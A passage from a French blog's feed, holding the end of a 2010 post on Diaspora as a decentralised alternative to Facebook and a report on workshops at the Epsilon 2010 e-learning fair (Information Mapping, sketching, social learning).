&lt;p&gt;Bref, il est possible dès aujourd&amp;rsquo;hui de se créer un compte sur &lt;a href="http://joindiaspora.com/"&gt;Diaspora&lt;/a&gt; (le concurrent de &lt;a href="http://facebook.com/"&gt;Facebook&lt;/a&gt;…&lt;/p&gt;
&lt;p&gt;&lt;a href="/images/diaspora.png"&gt;&lt;img alt="diaspora.png" src="/images//diaspora.png" title="diaspora.png, déc. 2010"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;Pourquoi se créer un compte sur &lt;em&gt;Diaspora&lt;/em&gt; ?&lt;/h3&gt;
&lt;p&gt;Pour exactement la même raison que de se créer un compte sur &lt;a href="http://identi.ca/"&gt;Identi.ca&lt;/a&gt; .&lt;/p&gt;
&lt;p&gt;&lt;a href="http://twitter.com/"&gt;Twitter&lt;/a&gt; &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; fonctionne très bien et est très répandu. &lt;a href="http://identi.ca/"&gt;Identi.ca&lt;/a&gt; &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt; est une alternative libre à Twitter offrant (presque) les mêmes fonctionnalités.&lt;/p&gt;
&lt;p&gt;Un avantage de Identi.ca (fourni par &lt;a href="http://status.net/"&gt;Status.net&lt;/a&gt;) est que la plateforme de microblogging étant libre, je peux implémenter un serveur personnel; un serveur pour mon intranet, l&amp;rsquo;inclure dans le CMS que je développe… Et si je le désire je peux &lt;sup id="fnref:f3"&gt;&lt;a class="footnote-ref" href="#fn:f3"&gt;3&lt;/a&gt;&lt;/sup&gt; lire le code source et constater qu&amp;rsquo;il ne contient pas du code « déplaisant » (sauvegarde d&amp;rsquo;infos « trop » personnelle, traçage de mes habitudes…).&lt;/p&gt;
&lt;p&gt;Parmi les différences que l&amp;rsquo;on observe entre &lt;em&gt;Facebook&lt;/em&gt; et &lt;em&gt;Diaspora&lt;/em&gt; &lt;sup id="fnref:f4"&gt;&lt;a class="footnote-ref" href="#fn:f4"&gt;4&lt;/a&gt;&lt;/sup&gt; (outre que l&amp;rsquo;outil en version &lt;em&gt;alpha&lt;/em&gt; &lt;sup id="fnref:f5"&gt;&lt;a class="footnote-ref" href="#fn:f5"&gt;5&lt;/a&gt;&lt;/sup&gt; offre beaucoup moins de fonctionnalités) c&amp;rsquo;est qu&amp;rsquo;il n&amp;rsquo;y a &lt;strong&gt;pas un seul serveur&lt;/strong&gt; Diaspora mais &lt;strong&gt;plusieurs&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;La structure est acentralisée.&lt;/strong&gt; &lt;em&gt;Le &amp;lsquo;a&amp;rsquo; est privatif et exprime l&amp;rsquo;absence de centre.&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Facebook nécessite une architecture robuste afin de supporter la charge &lt;sup id="fnref:f6"&gt;&lt;a class="footnote-ref" href="#fn:f6"&gt;6&lt;/a&gt;&lt;/sup&gt;, il est le seul détenteur de mes informations. Je dois / peux lui faire confiance.&lt;/li&gt;
&lt;li&gt;Diaspora &lt;a href="https://github.com/diaspora/diaspora/wiki/Installing-and-Running-Diaspora"&gt;répartit ses membres sur plusieurs serveurs appelés &lt;em&gt;pods&lt;/em&gt;&lt;/a&gt; qui communiquent entre eux. Ce qui me permet de&lt;ul&gt;
&lt;li&gt;choisir un serveur en qui j&amp;rsquo;ai confiance (c&amp;rsquo;est ce serveur qui détient mes données &lt;sup id="fnref:f7"&gt;&lt;a class="footnote-ref" href="#fn:f7"&gt;7&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;li&gt;proposer mon propre serveur (pour mes amis, mon entreprise, mon école)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Diaspora mise sa communication sur l&amp;rsquo;aspect &lt;strong&gt;respect de la vie privée&lt;/strong&gt; et le fait que le code soit &lt;em&gt;open source&lt;/em&gt;… bref, ça semble une très bonne alternative à FB…&lt;/p&gt;
&lt;h3&gt;Pourquoi &lt;em&gt;Diaspora&lt;/em&gt; ne connaitra (probablement) pas le même engouement que &lt;em&gt;Facebook&lt;/em&gt; ?&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Bis repetita.&lt;/em&gt; Pour exactement la même raison que &lt;a href="http://identi.ca/"&gt;Identi.ca&lt;/a&gt; ne prend pas le pas sur &lt;em&gt;Twitter&lt;/em&gt; ou encore que &lt;a href="http://jabber.org/"&gt;Jabber&lt;/a&gt; ne prend pas le pas sur &lt;em&gt;MSN&lt;/em&gt;… quoique depuis &lt;a href="http://gmail.com/"&gt;gTalk&lt;/a&gt; &lt;sup id="fnref:f8"&gt;&lt;a class="footnote-ref" href="#fn:f8"&gt;8&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;Outre qu&amp;rsquo;actuellement (version &lt;em&gt;alpha&lt;/em&gt; je rappelle) les serveurs Diaspora sont plus lents que Facebook mais ça peut changer, je ne sais pas pourquoi ces alternatives libres ont moins de succès.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Il y a la &lt;em&gt;com&lt;/em&gt; qui est différente (les moyens alloués sont différents en grande partie à cause/grâce à la pub)&lt;/li&gt;
&lt;li&gt;ll y aura moins de &lt;strong&gt;jeux bidons&lt;/strong&gt; (je constate que beaucoup d&amp;rsquo;utilisateurs FB jouent grâce à FB et je trouve que ce n&amp;rsquo;est pas sa fonction)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;C&amp;rsquo;est un projet à suivre en tous cas.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;wait and see&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;&lt;a href="http://twitter.com/Pinkilla"&gt;Mon twitter&lt;/a&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;&lt;a href="http://identi.ca/pinkilla"&gt;Mon idenitca&lt;/a&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;Moi-même ou payer un développeur pour le faire&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f4"&gt;
&lt;p&gt;Mon identifiant (temporaire) &lt;em&gt;pinkilla(à)diasp.org&amp;rsquo;. Aujourd&amp;rsquo;hui, c&amp;rsquo;est&lt;/em&gt; pinkilla@framashpere.org&amp;rsquo;&amp;lsquo;&amp;rsquo;&amp;#160;&lt;a class="footnote-backref" href="#fnref:f4" title="Jump back to footnote 4 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f5"&gt;
&lt;p&gt;Une version &lt;em&gt;alpha&lt;/em&gt; est une version proposée en test à la communauté, elle n&amp;rsquo;est pas sensée être pleinement fonctionnelle.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f5" title="Jump back to footnote 5 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f6"&gt;
&lt;p&gt;Lire à ce sujet &lt;a href="http://www.paragon-cs.com/wordpress/?p=144"&gt;cette note&lt;/a&gt; de 2008 au sujet de l&amp;rsquo;infrastructure de FB et autres.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f6" title="Jump back to footnote 6 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f7"&gt;
&lt;p&gt;Comprendre mes photos à poil et saoul&amp;#160;&lt;a class="footnote-backref" href="#fnref:f7" title="Jump back to footnote 7 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f8"&gt;
&lt;p&gt;Pour info, &lt;em&gt;Google Talk&lt;/em&gt; utilise le protocole Jabber pour sa messagerie instantanée&amp;#160;&lt;a class="footnote-backref" href="#fnref:f8" title="Jump back to footnote 8 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Epsilon 2010</title><link href="http://blog.namok.be/2010-11-09-Epsilon-2010.html" rel="alternate"/><published>2010-11-09T00:00:00+01:00</published><updated>2010-11-09T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2010-11-09:/2010-11-09-Epsilon-2010.html</id><summary type="html">Découverte de l'information-mapping, du « dos de la serviette » (the back of the napkin), du social learning</summary><content type="html">&lt;p&gt;&lt;a href="http://salon-epsilon.be/"&gt;Epsilon&lt;/a&gt;, &lt;em&gt;learning &amp;amp; development&lt;/em&gt; est un salon organisé tous les deux ans et destiné à la formation et plus particulèrement au &lt;em&gt;elearning&lt;/em&gt;. Je me rends à ce salon dans le cadre de la CARé (_Cellule d&amp;rsquo;Aide à la Réussite) afin de « découvrir » ce qui se fait dans le domaine.&lt;/p&gt;
&lt;p&gt;Après consultation de l&amp;rsquo;annonce du salon et mon choix de &lt;em&gt;workshops&lt;/em&gt;, je réalise (mon arrivée sur place me le confirme) qu&amp;rsquo;il s&amp;rsquo;agit d&amp;rsquo;un &lt;strong&gt;salon&lt;/strong&gt; au sens un peu péjoratif du terme où chaque stand est la vitrine / pub d&amp;rsquo;une société. Je vois qu&amp;rsquo;il y a beaucoup de sociétés proposant des formations (&lt;em&gt;elarning&lt;/em&gt; ou pas) et du &lt;em&gt;coaching&lt;/em&gt; d&amp;rsquo;entreprise. Bref, on vient vendre et c&amp;rsquo;est pour ça que j&amp;rsquo;ai reçu une invitation gratuite (dixit Clo).&lt;/p&gt;
&lt;p&gt;À part &lt;a href="http://dokeos.com/fr"&gt;Dokeos&lt;/a&gt; qui vient de l&amp;rsquo;open source les autres outils proposés (&lt;a href="http://e-doceo.be/"&gt;e-doceo&lt;/a&gt;…) semblent assez propriétaires et s&amp;rsquo;accompagnent toujours d&amp;rsquo;un service quelconque. Une plateforme de &lt;em&gt;elearning&lt;/em&gt; est, par exemple, fournie avec des modules de formations tous faits pour MS Office.&lt;/p&gt;
&lt;p&gt;Après un bref tour, je me dirige vers les &lt;em&gt;workshops&lt;/em&gt;.&lt;/p&gt;
&lt;h3&gt;Les workshops&lt;/h3&gt;
&lt;p&gt;Pour ceux qui, comme moi, ne sont pas familiers avec le langage de l&amp;rsquo;entreprise &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;, un &lt;em&gt;workshop&lt;/em&gt; est simplement un exposé d&amp;rsquo;une petite heure !&lt;/p&gt;
&lt;h4&gt;&amp;ldquo;Le tutorat: comment en faire un outil de gestion de compétences&amp;rdquo; par &lt;a href="http://ichec-entreprises.be/"&gt;ICHEC Entreprises&lt;/a&gt;&lt;/h4&gt;
&lt;p&gt;C&amp;rsquo;est le premier &lt;em&gt;wokshop&lt;/em&gt; de la journée et le train ayant du retard je n&amp;rsquo;ai donc pas bien suivi la présentation. J&amp;rsquo;en retiens cependant quelques points&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Le tuteur doit être valorisé. Être tuteur n&amp;rsquo;est en aucun cas une voie de garage mais bien une valorisation des compétences… en ce sens, le tuteur doit être reconnu (par tous) comme quelqu&amp;rsquo;un ayant autorité dans le domaine.&lt;/li&gt;
&lt;li&gt;En fait non, pas quelques points, un seul…&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;&amp;ldquo;Rédiger rapidement et simplement des textes clairs, efficaces et accessibles à tous grâce à Information Mapping par &lt;a href="http://synaps.be/"&gt;Synaps&lt;/a&gt;&lt;/h4&gt;
&lt;p&gt;La présentation m&amp;rsquo;a beaucoup plu, c&amp;rsquo;est une présentation dans un cadre d&amp;rsquo;entreprises, on sent donc que les moyens matériels (et donc financiers) sont là mais c&amp;rsquo;est de qualité quand même. Ça me permet (simple mortel prof) de voir la différence entre une formation / présentation en entreprise par rapport à une présentation en classe. J&amp;rsquo;énonce :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;un costard et une chemise plutôt qu&amp;rsquo;un t-shirt;&lt;/li&gt;
&lt;li&gt;impression couleur sur papier « cher » &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;;&lt;/li&gt;
&lt;li&gt;don d&amp;rsquo;une enveloppe contenant la présentation et la pub pour leurs formations;&lt;/li&gt;
&lt;li&gt;utilisation d&amp;rsquo;un petit appareil de vote pour faire ludique;&lt;/li&gt;
&lt;li&gt;3 formateurs (un orateur, un utilisateur pc et un « commentateur »).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Ça commence donc (via l&amp;rsquo;appareil de vote) par une découverte du public via quelques questions sympas et un petit test. Le test consiste à présenter un mail dans lequel nous devons chercher une réponse. Nous devons ensuite faire la même chose dans un deuxième document. Les formateurs nous montrent que l&amp;rsquo;on est bcp plus rapide dans le deuxième cas de figure… grâce… &lt;em&gt;tadam&lt;/em&gt;… à la méthode &lt;strong&gt;Information Mapping&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Voici les deux textes &lt;a href="/pdf/imap-before-after_en.pdf"&gt;(pdf)&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Comparaison des deux textes" src="/images/imap-before-after-en.png"&gt;&lt;/p&gt;
&lt;p&gt;En arrivant je pensais que l&amp;rsquo;on me parlerait de &lt;em&gt;Mind Mapping&lt;/em&gt; mais cela n&amp;rsquo;a rien à voir, la méthode permet de rédiger des documents qui seront beaucoup plus accessibles à tous. Ça me parrait bien, il va falloir que je creuse un peu &lt;sup id="fnref:f3"&gt;&lt;a class="footnote-ref" href="#fn:f3"&gt;3&lt;/a&gt;&lt;/sup&gt;. C&amp;rsquo;est, je pense, quelque chose à mettre en œuvre (à l&amp;rsquo;école).&lt;/p&gt;
&lt;p&gt;&lt;em&gt;workshop&lt;/em&gt; très intéressant.&lt;/p&gt;
&lt;h4&gt;&amp;ldquo;Le elearning, la main de l&amp;rsquo;homme et le dos de la serviette&amp;rdquo; par &lt;a href="http://dokeos.com/"&gt;Dokeos&lt;/a&gt;&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;Thomas De Praetere&lt;/strong&gt; est philosophe de formation et ça s&amp;rsquo;entend d&amp;rsquo;emblée. L&amp;rsquo;exposé (manifestement peu préparé) est (donc) très intéressant à écouter car il fait souvent références à des philosophes. Le statut de philosophe de l&amp;rsquo;orateur engendre de suite une réflexion un peu plus profonde que la présentation d&amp;rsquo;un outil permettant le elearning.&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;orateur se demande pourquoi il est (quasi) impossible de rendre correctement un croquis fait par un formateur lors d&amp;rsquo;une présentation. Lorsque je fais un croquis pour illustrer un propos, mon public comprend car « je lui ai fait un dessin ». Thomas De Praetere fait alors référence à Dan Roam auteur de &lt;a href="http://www.thebackofthenapkin.com/"&gt;The back of de napkin&lt;/a&gt; (Le dos de la serviette &lt;sup id="fnref:f4"&gt;&lt;a class="footnote-ref" href="#fn:f4"&gt;4&lt;/a&gt;&lt;/sup&gt;) s&amp;rsquo;interrogeant également sur : « Pourquoi n&amp;rsquo;est-on jamais aussi clair que lorsque l&amp;rsquo;on fait un croquis sur le dos d&amp;rsquo;une serviette ? ».&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.thebackofthenapkin.com/"&gt;&lt;img alt="DanRoam.jpg" src="/images/DanRoam.jpg" title="DanRoam.jpg, nov. 2010"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Mais si je tente d&amp;rsquo;intégrer ce même croquis dans une présentation, c&amp;rsquo;est moche, c&amp;rsquo;est vide de sens… et c&amp;rsquo;est, au pire, incompréhensible. Qu&amp;rsquo;a-t-on perdu ?&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Le mouvement de la main du formateur.&lt;/li&gt;
&lt;li&gt;La personnalité du formateur.&lt;/li&gt;
&lt;li&gt;La synchronisation avec le son.&lt;/li&gt;
&lt;li&gt;L&amp;rsquo;adaptation au public.&lt;/li&gt;
&lt;li&gt;La spontanéité.&lt;/li&gt;
&lt;li&gt;L&amp;rsquo;abstraction. Le fait que le croquis soit mal fait permet à chaque apprenant d&amp;rsquo;interpréter le dessin et de le transposer dans son propre modèle de représentation. Je dessine une vache en faisant un rond et quatre barres et ça suffit, l&amp;rsquo;imagination de chacun en fera une vache particulière.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Personnellement j&amp;rsquo;aurais ajouté &lt;sup id="fnref:f5"&gt;&lt;a class="footnote-ref" href="#fn:f5"&gt;5&lt;/a&gt;&lt;/sup&gt; que l&amp;rsquo;on perdait également&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Le droit à l&amp;rsquo;imperfection. Si je fais un dessin sur un sous-bock il est clair que ma vache ne représente pas une vache mais ce n&amp;rsquo;est pas grave. Dans un slide, une vache doit (doit-elle ?) ressembler à une vache.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Le raisonnement conduit finalement à&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;intégrer le croquis,&lt;/li&gt;
&lt;li&gt;refaire le croquis qui deviendra alors impersonnel et qui perdra en compréhension,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Se pose la question de qui va faire le croquis &lt;sup id="fnref:f6"&gt;&lt;a class="footnote-ref" href="#fn:f6"&gt;6&lt;/a&gt;&lt;/sup&gt; : l&amp;rsquo;auteur ou un graphiste ? Dans tous les cas, l&amp;rsquo;auteur ne sera pas satisfait du résultat et ce résultat sera un peu dépossédé du contenu d&amp;rsquo;origine.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;intégrer une vidéo afin de récupérer le mouvement, la synchronisation mais pas la spontanéité ni l&amp;rsquo;adaptation au public ni la personnalité du formateur.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;J&amp;rsquo;ajoute que l&amp;rsquo;on n&amp;rsquo;aura plus le droit à l&amp;rsquo;imperfection… et pourquoi pas après tout ? Ce n&amp;rsquo;est pas &lt;em&gt;&amp;ldquo;corporate&amp;rdquo;&lt;/em&gt; ^^&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;intégrer une vidéo qui cette fois va tenter de rendre la personnalité du formateur (en le plaçant dans un contexte, en jouant sur l&amp;rsquo;éclairage, sur la mise en scène…)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Dans la pratique j&amp;rsquo;essaierais d&amp;rsquo;intégrer des croquis style &lt;em&gt;sous-bock&lt;/em&gt; afin de tester comment les apprenants y sont réceptifs. Il faut voir également le temps et l&amp;rsquo;énergie que cela peut prendre… on est loin j&amp;rsquo;imagine du dessin au dos de la serviette.&lt;/p&gt;
&lt;h4&gt;&amp;ldquo;Apprentissage informel: utilisation des réseaux sociaux en contexte d&amp;rsquo;apprentissage&amp;rdquo; par &lt;a href="http://crossknowledge.be/"&gt;Crossknowledge&lt;/a&gt;&lt;/h4&gt;
&lt;p&gt;Le formateur, &lt;strong&gt;Stephan Atsou&lt;/strong&gt; (&lt;a href="http://www.linkedin.com/profile/view?id=1519435&amp;amp;authType=name&amp;amp;authToken=0H5J&amp;amp;locale=en_US&amp;amp;pvs=pp&amp;amp;pohelp=&amp;amp;trk=ppro_viewmore"&gt;LinkedIn&lt;/a&gt;, &lt;a href="http://licencetolearn.blogspot.com/"&gt;blog&lt;/a&gt;), est jovial et pose les questions sociales: « Qui a un compte FB ? Twitter ? LinkedIn ?… »&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Web 2.0 is constituted with individuals, who start conversations anywhere, anytime, who share information and knowledge, to build a better world.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Retenons que le principe du &lt;em&gt;web 2.0&lt;/em&gt; &lt;sup id="fnref:f7"&gt;&lt;a class="footnote-ref" href="#fn:f7"&gt;7&lt;/a&gt;&lt;/sup&gt; ce sont des individus (pas spécialement regroupés) qui commencent (et ne les finissent pas toujours) des conversations, des discussions. Le &lt;em&gt;web 2.0&lt;/em&gt; permet à chacun de s&amp;rsquo;exprimer facilement. C&amp;rsquo;est le point de départ de ce que l&amp;rsquo;on appelle (ou appellera) &lt;strong&gt;&lt;em&gt;social learning&lt;/em&gt;&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Mais avant cela Stephan Atsou, définit la notion de &lt;strong&gt;Enterprise 2.0&lt;/strong&gt; qui consiste à permettre aux membres de l&amp;rsquo;entreprise de &lt;strong&gt;réagir&lt;/strong&gt; aux informations qu&amp;rsquo;ils reçoivent. Dans une entreprise j&amp;rsquo;ai un intranet me permettant de partager des documents &lt;sup id="fnref:f8"&gt;&lt;a class="footnote-ref" href="#fn:f8"&gt;8&lt;/a&gt;&lt;/sup&gt; si en plus j&amp;rsquo;ai la &lt;strong&gt;possibilité de réagir aux documents&lt;/strong&gt; en postant des commentaires (techniquement ajouter des commentaires, ou &lt;em&gt;twitter&lt;/em&gt; ou partager le document avec un groupe d&amp;rsquo;utilisateurs…) par exemple alors mon entreprise devient 2.0.&lt;/p&gt;
&lt;p&gt;Si j&amp;rsquo;ai la possibilité de réagir aux notes (de services et autres), j&amp;rsquo;ai une meilleure transparence au niveau de la société et ça ne peut apporter qu&amp;rsquo;un mieux en termes de communications. Personnellement, je n&amp;rsquo;imagine rien d&amp;rsquo;autre mais il est clair que beaucoup de sociétés préfèrent l’obscurantisme et la vue &lt;em&gt;top-down&lt;/em&gt; de la hiérarchie.&lt;/p&gt;
&lt;p&gt;Le constat suivant part d&amp;rsquo;une étude de Robert Kelley précisant que si jadis un travailleur possédait 80% des connaissances nécessaires à son travail dans sa tête… il n&amp;rsquo;en possède plus que 7% aujourd&amp;rsquo;hui. Le reste doit donc pouvoir être « retrouvé » par exemple par un réseau de connaissances. En informatique par exemple, on reconnait un bon programmeur Java non au fait qu&amp;rsquo;il connaisse l&amp;rsquo;API élémentaire Java mais au fait qu&amp;rsquo;il soit capable de retrouver rapidement et correctement du code fonctionnel dans &lt;strong&gt;d&amp;rsquo;autres librairies&lt;/strong&gt; et qu&amp;rsquo;il le mette en œuvre.&lt;/p&gt;
&lt;p&gt;Le &lt;strong&gt;social learning&lt;/strong&gt; (apprentissage social) est l&amp;rsquo;apprentissage qui se fait en dehors du cursus scolaire, en dehors des formations, simplement de manière &lt;strong&gt;informelle&lt;/strong&gt;. Par essence donc, il sera difficilement quantifiable.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The &lt;strong&gt;social learning&lt;/strong&gt; is the learning that occur (mostly) outside the classes, courses and curriculum model.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href="http://www.princeton.edu/hr/learning/philosophy/"&gt;Certains&lt;/a&gt; énoncent la règle de 70-20-10 en terme d&amp;rsquo;apprentissage. Ceci inciterait l&amp;rsquo;apprentissage informel.&lt;/p&gt;
&lt;p&gt;&lt;img alt="702010-apprentissage-formule-3.png" src="/images/702010-apprentissage-formule-3.png" title="702010-apprentissage-formule-3.png, nov. 2010"&gt;&lt;/p&gt;
&lt;p&gt;Sur cette base, le &lt;em&gt;social learning&lt;/em&gt; propose d&amp;rsquo;intégrer les outils de communications sociaux à l&amp;rsquo;apprentissage informel ou comment utiliser les outils de communications sociaux pour favoriser/générer des discussions (qui seraient alors électroniques et pas spécialement au détriment du contact physique), discussions qui favoriseraient l&amp;rsquo;apprentissage. Je me demande si l&amp;rsquo;on ne tente pas de réinventer le &lt;em&gt;chanel IRC&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Il y a trois manières de favoriser (lancer) ces discussions informelles &lt;sup id="fnref:f9"&gt;&lt;a class="footnote-ref" href="#fn:f9"&gt;9&lt;/a&gt;&lt;/sup&gt; :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;intégrer des discussions dans les présentations afin d&amp;rsquo;induire que « la discussion peut continuer ailleurs » ou qu&amp;rsquo;elle a été bénéfique dans le cadre d&amp;rsquo;un apprentissage (c&amp;rsquo;est un peu la technique de la &lt;a href="http://oreilly.com/store/series/headfirst.html"&gt;collection Head First chez O&amp;rsquo;Reilly&lt;/a&gt;) - &lt;strong&gt;le virus&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;permettre/favoriser la discussion autour du sujet d&amp;rsquo;apprentissage (par intégration de lien vers des endroits où l&amp;rsquo;on peut en discuter; forum, commentaires sur un blog,…) - &lt;strong&gt;le tronc&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;créer un apprentissage uniquement sur base de discussions - &lt;strong&gt;l&amp;rsquo;arbre&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Ce dernier point est pour moi utopiste ou déplacé (ou avant-gardiste) car si je génère l&amp;rsquo;apprentissage par la discussion, soit je suis instigateur et ça risque de devenir formel, soit je suis attentiste… et on réinvente simplement IRC.&lt;/p&gt;
&lt;h3&gt;À retenir&lt;/h3&gt;
&lt;p&gt;De cette journée, je retiendrais les choses suivantes (en vrac parce que c&amp;rsquo;est long)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Tous les &lt;em&gt;slides&lt;/em&gt; sont en anglais. Ça ne me surprend pas du tout, ça me conforte dans mon opinion et je trouve ça bien.&lt;/li&gt;
&lt;li&gt;Il existe un site où partager ses liens &lt;a href="http://slidesshare.com/"&gt;SlidesShare&lt;/a&gt; (par exemple &lt;a href="http://www.slideshare.net/janehart/from-elearning-to-social-learning"&gt;cette présentation sur &amp;lsquo;&amp;rsquo;elarning vs social learning&amp;rsquo;&amp;lsquo;&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;Ils ont utilisés &lt;a href="http://www.tweetwallpro.com/"&gt;TweetWallPro&lt;/a&gt; (&lt;a href="http://www.tweetwallpro.com/go/hebesi"&gt;en test pour le &amp;lsquo;&amp;rsquo;hashtag&amp;rsquo;&amp;rsquo; de l&amp;rsquo;école pendant 24h&lt;/a&gt;) et il existe &lt;a href="http://tweetwall.me/"&gt;TweetWall.me&lt;/a&gt; offrant le même genre de service mais avec moins de fonctionnalités.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://technofutur.be/"&gt;Technofutur&lt;/a&gt; était présent et leur offre de formations en ligne s&amp;rsquo;est agrandie. Comme celle-ci est toujours gratuite pour les étudiants, je devrais essayer (html, css, ou autres) afin de tester; le contenu, l&amp;rsquo;outil, le &lt;em&gt;coach&lt;/em&gt;. Leurs formations ne sont pas écrites en SCORM et ils utilisent BlackBoard comme outil de elearning.&lt;/li&gt;
&lt;li&gt;L&amp;rsquo;&lt;strong&gt;information mapping&lt;/strong&gt; peut être intéressant à l&amp;rsquo;école.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Dans l&amp;rsquo;ensemble je suis donc satisfait de cette journée. J&amp;rsquo;ai réussi à faire un peu abstraction de l&amp;rsquo;aspect &lt;em&gt;corporate&lt;/em&gt; du salon, je ne vis absolument pas dans le même monde et j&amp;rsquo;en suis content (certains m&amp;rsquo;ont d&amp;rsquo;ailleurs dit: &amp;ldquo;C&amp;rsquo;est vous l&amp;rsquo;enseignant ?&amp;rdquo;. Heu… oui.).&lt;/p&gt;
&lt;p&gt;Si vous avez un tant soit peu saisi le sens du &lt;strong&gt;social earning&lt;/strong&gt; et de &lt;em&gt;enterprise 2.0&lt;/em&gt;, n&amp;rsquo;hésitez pas à commenter ici.&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Entendez ceux qui sont en costume/chemise (pas toujours cravate), qui ont de beaux logos d&amp;rsquo;entreprise et qui demandent très chers pour leurs formations&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Entendez épais et brillant… pas un papier &amp;ldquo;non blanchi au chlore&amp;rdquo; :-(&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;Peut-être demander au patron de suivre la formation de 2 jours chez eux… c&amp;rsquo;est moins de 1000 € ^^… ou plus sérieusement m&amp;rsquo;informer sur le sujet; &lt;a href="http://www.google.be/search?q=information+mapping"&gt;Google&lt;/a&gt;, &lt;a href="http://www.information-mapping.fr/"&gt;Information-mapping.fr&lt;/a&gt; (&lt;a href="http://www.informationmapping.fr/multimedia/test/index.htm"&gt;le test&lt;/a&gt; moyennant le plugin qui convient)&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f4"&gt;
